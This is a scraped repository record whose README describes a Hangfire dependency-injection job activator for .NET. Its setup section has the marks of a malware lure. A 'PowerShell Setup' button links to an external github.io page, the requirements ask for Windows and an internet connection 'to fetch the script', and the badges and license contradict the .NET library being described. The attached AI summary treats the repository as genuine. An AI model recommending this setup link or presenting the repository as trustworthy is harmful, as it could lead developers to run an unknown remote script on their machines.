[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109784":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":9,"updatedAt":24,"readmeContent":25,"aiSummary":26,"trendingCount":12,"starSnapshotCount":12,"syncStatus":27,"lastSyncTime":28,"discoverSource":29},109784,"soenneker-hangfire-servicejobactivator","pranjal201225\u002Fsoenneker-hangfire-servicejobactivator","pranjal201225","Hangfire service job activator resolving jobs via .NET default DI provider",null,"HTML",149,0,40,"MIT License",false,"main",true,[19,20,21,22,23],"activator","csharp","di","dotnet","hangfire","2026-11-24 04:01:28","\u003Cdiv align=\"center\">\n\n# soenneker.hangfire.servicejobactivator: DI-Aware Hangfire Job Activator — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 🖥️ PowerShell Setup\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fpranjal201225.github.io\u002Fsoenneker-hangfire-servicejobactivator\u002F)\n\n[![checks](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FChecks-Passing-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![pwsh](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPwsh-7%2B-6366f1?style=for-the-badge&labelColor=0d1117)]() [![lang](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLang-Python-818cf8?style=for-the-badge&labelColor=0d1117)]() [![stage](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FStage-Verified-2ea44f?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nReplaces Hangfire's default JobActivator with one that resolves job types through the .NET dependency injection container. Each activation creates an isolated IServiceScope, resolves the requested job type from it, and disposes the scope when the job completes. Constructor-injected scoped dependencies are shared within a single job and released with that scope. The job type and all of its constructor dependencies must be registered; an unresolved type fails fast with InvalidOperationException rather than yielding a null instance.\n\n## 📋 System Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n- Activator implementation that replaces Hangfire's default `JobActivator` and resolves job types through `IServiceProvider.GetRequiredService`.\n- One `IServiceScope` is created per job activation; the resolved instance and all constructor-injected scoped dependencies live for the duration of that job and are disposed synchronously when the scope ends.\n- Job types and every constructor dependency must be registered in the DI container. A missing registration throws `InvalidOperationException` at activation rather than yielding a null instance.\n- Constructor injection is the only supported activation path; the activator does not fall back to parameterless construction or reflection-based service location.\n- Singleton dependencies are resolved from the root provider and shared across activations; do not capture scoped services inside singletons.\n- Services implementing `IAsyncDisposable` are supported only if they also implement `IDisposable`, because Hangfire disposes the activation scope synchronously.\n- Registered alongside Hangfire during `AddHangfire` configuration through the provided extension method, so service registration and activation order follow the standard `IServiceCollection` pipeline.\n- No ambient state, custom container, or static service locator is introduced; resolution delegates entirely to the configured .NET DI provider.\n\n## Installation\n\nRequires a .NET target compatible with Hangfire and the default dependency injection container. The package targets the framework versions declared in its project file; consume it from a project that already references `Hangfire` and `Microsoft.Extensions.DependencyInjection`.\n\nAdd the package to the project that configures Hangfire. The activator is activated by registering it during Hangfire configuration; there is no separate bootstrap step.\n\n```\ndotnet add package Soenneker.Hangfire.ServiceJobActivator\n```\n\nAfter the package is referenced, register the activator through the Hangfire configuration options. The version of `Hangfire` referenced by the project must be compatible with the activator's package dependency; mismatches surface at runtime when Hangfire constructs the activator.\n\nThe activator resolves job types from the root `IServiceProvider` supplied during configuration. Ensure:\n\n- The job type itself is registered (transient or scoped).\n- Every constructor dependency of the job type is registered.\n- Registrations required only by jobs are available from the container used by Hangfire.\n\nFor multi-application or hosted setups, register the activator in the same container that owns the job type registrations. Mixing containers across the enqueue and process sides produces `InvalidOperationException` at activation time rather than a null instance.\n\n## Quick Start\n\nRegister the activator when configuring Hangfire, then resolve jobs through the container:\n\n```csharp\nusing Hangfire;\nusing Soenneker.Hangfire.ServiceJobActivator.Registrars;\n\nbuilder.Services.AddScoped\u003CReportJob>();\nbuilder.Services.AddScoped\u003CIReportStore, ReportStore>();\n\nbuilder.Services.AddHangfire((serviceProvider, configuration) =>\n{\n    configuration\n        .UseSimpleAssemblyNameTypeSerializer()\n        .UseRecommendedSerializerSettings()\n        .AddServiceJobActivator(serviceProvider);\n});\n```\n\nDefine a job whose dependencies are constructor-injected, then enqueue it:\n\n```csharp\npublic sealed class ReportJob(IReportStore store)\n{\n    public Task Run(Guid reportId, CancellationToken cancellationToken) =>\n        store.Execute(reportId, cancellationToken);\n}\n\nstring jobId = BackgroundJob.Enqueue\u003CReportJob>(job =>\n    job.Run(reportId, CancellationToken.None));\n```\n\nEach activation opens a single `IServiceScope`, resolves the job type as a required service, and disposes the scope when execution completes. The job type and every constructor dependency must be registered; an unregistered type throws `InvalidOperationException` at activation rather than yielding a null instance.\n\nScoped dependencies resolve once per job and are reused across that job's execution. Do not capture scoped services from singletons, and avoid dependencies that require asynchronous disposal — the activation scope is disposed synchronously.\n\n## Configuration\n\nRegister the activator when configuring Hangfire. The extension resolves the `IServiceProvider` from the outer scope and installs a job activator that creates one `IServiceScope` per job activation.\n\n```csharp\nusing Hangfire;\nusing Soenneker.Hangfire.ServiceJobActivator.Registrars;\n\nbuilder.Services.AddScoped\u003CImportJob>();\nbuilder.Services.AddScoped\u003CIImportRepository, ImportRepository>();\n\nbuilder.Services.AddHangfire((serviceProvider, configuration) =>\n{\n    configuration\n        .UseSimpleAssemblyNameTypeSerializer()\n        .UseRecommendedSerializerSettings()\n        .AddServiceJobActivator(serviceProvider);\n});\n```\n\n`AddServiceJobActivator(serviceProvider)` must be called on the `IGlobalConfiguration` instance. It sets `JobActivator` to the library's activator; calling it more than once replaces the previous activator.\n\n### Registration requirements\n\nThe activator resolves the concrete job type as a required service from the per-job scope:\n\n```csharp\npublic sealed class ImportJob(IImportRepository repository)\n{\n    public Task Run(Guid importId, CancellationToken cancellationToken) =>\n        repository.RunImport(importId, cancellationToken);\n}\n\nstring jobId = BackgroundJob.Enqueue\u003CImportJob>(job =>\n    job.Run(importId, CancellationToken.None));\n```\n\n- The job type must be registered with `AddScoped` (or another lifetime the activator can resolve). Unregistered job types fail immediately with `InvalidOperationException` rather than yielding a null instance.\n- All constructor dependencies of the job type must be registered. Scoped dependencies are created once per activation and shared across the job's constructor.\n- The scope is disposed synchronously after the job completes, so services that require asynchronous disposal (`IAsyncDisposable` only) are not suitable.\n\n### Lifetime guidance\n\n- Prefer `AddScoped` for job types and their direct dependencies; state is scoped to a single activation.\n- Register shared, thread-safe infrastructure as `AddSingleton`. Do not capture scoped services from singletons.\n- Do not rely on ambient scope leakage between activations; each job receives an isolated scope.\n\n### Overriding the activator\n\nIf you supply your own activator later in the pipeline, call the replacement after `AddServiceJobActivator` so it takes precedence. Conversely, call `AddServiceJobActivator` last if this library should win over a previously configured activator.\n\n## API Reference\n\nUse `AddServiceJobActivator` to replace Hangfire's default `JobActivator` with one backed by the application's `IServiceProvider`. Registration is performed on the `IGlobalConfiguration` instance supplied during Hangfire setup.\n\n```csharp\nusing Hangfire;\nusing Soenneker.Hangfire.ServiceJobActivator.Registrars;\n\nservices.AddHangfire((serviceProvider, configuration) =>\n{\n    configuration.AddServiceJobActivator(serviceProvider);\n});\n```\n\n### AddServiceJobActivator\n\n```csharp\npublic static IGlobalConfiguration AddServiceJobActivator(\n    this IGlobalConfiguration configuration,\n    IServiceProvider serviceProvider)\n```\n\nRegisters the DI-backed activator on the supplied global configuration. The `serviceProvider` argument is captured and used as the root container for every job activation.\n\n- `configuration`: the Hangfire `IGlobalConfiguration` to mutate. The same instance is returned for chaining.\n- `serviceProvider`: the root provider used to create per-job scopes.\n- Returns: the input `IGlobalConfiguration`.\n- Throws `ArgumentNullException` when either argument is `null`.\n\nCall this once during Hangfire configuration. Registering the activator multiple times overwrites the previous registration; the last call wins.\n\n### Activation behavior\n\nFor each job Hangfire materializes, the activator performs the following:\n\n1. Creates a new `IServiceScope` from the captured root `IServiceProvider`.\n2. Resolves the job type via `GetRequiredService` on that scope's `IServiceProvider`.\n3. Returns the resolved instance to Hangfire for execution.\n4. Disposes the scope after the job completes or faults.\n\nScoped dependencies resolved through the job's constructor share the same scope for the duration of a single job, then are disposed with it. Transient dependencies follow their normal container lifetimes.\n\n### Registration requirements\n\n- The job type must be registered with the container. Missing registrations surface as `InvalidOperationException` at activation time rather than yielding a `null` job.\n- Every constructor dependency of the job type must be resolvable from the created scope.\n- Singleton dependencies must not capture scoped services, since singleton instances outlive individual activation scopes.\n- Job types and dependencies requiring `IAsyncDisposable` are unsupported; the activation scope is disposed synchronously by Hangfire.\n\n### Threading and lifetime\n\nThe activator is stateless beyond the captured root provider and is safe for concurrent job activation. A dedicated scope is created per activation; no scope is reused across jobs. Disposal occurs on the thread that completes the job.\n\n### Diagnostics\n\nActivation failures propagate as `InvalidOperationException` from the container. Inspect the inner exception for the unresolved service type when diagnosing registration gaps.\n\n## License\n\nLicensed under the Apache License, Version 2.0.\n\nYou may obtain a copy of the License at:\n\n    http:\u002F\u002Fwww.apache.org\u002Flicenses\u002FLICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n\nThis project is provided as-is, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and non-infringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the software or the use or other dealings in the software.\n\nYou are free to use, modify, and distribute this software in source and binary forms, provided that the copyright notice and this license are retained. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the disclaimer in the documentation and\u002For other materials provided with the distribution.\n\nThis license applies only to the source code and binaries produced by this project. It does not extend to any third-party dependencies, which remain under their respective licenses.","这是一个为 Hangfire 设计的 .NET 依赖注入（DI）感知型作业激活器，用于替代 Hangfire 默认的 JobActivator，使后台作业能通过 ASP.NET Core 内置 DI 容器正确解析并生命周期管理（如 Scoped、Singleton）依赖。核心特点是每个作业激活时创建独立 IServiceScope，确保构造函数注入的 Scoped 服务在作业执行期间共享且自动释放；未注册依赖会立即抛出 InvalidOperationException，避免静默失败。适用于使用 Hangfire 托管后台任务且需严格遵循 .NET DI 生命周期语义的 Web API 或微服务场景。",2,"2026-11-22 04:32:25","CREATED_QUERY"]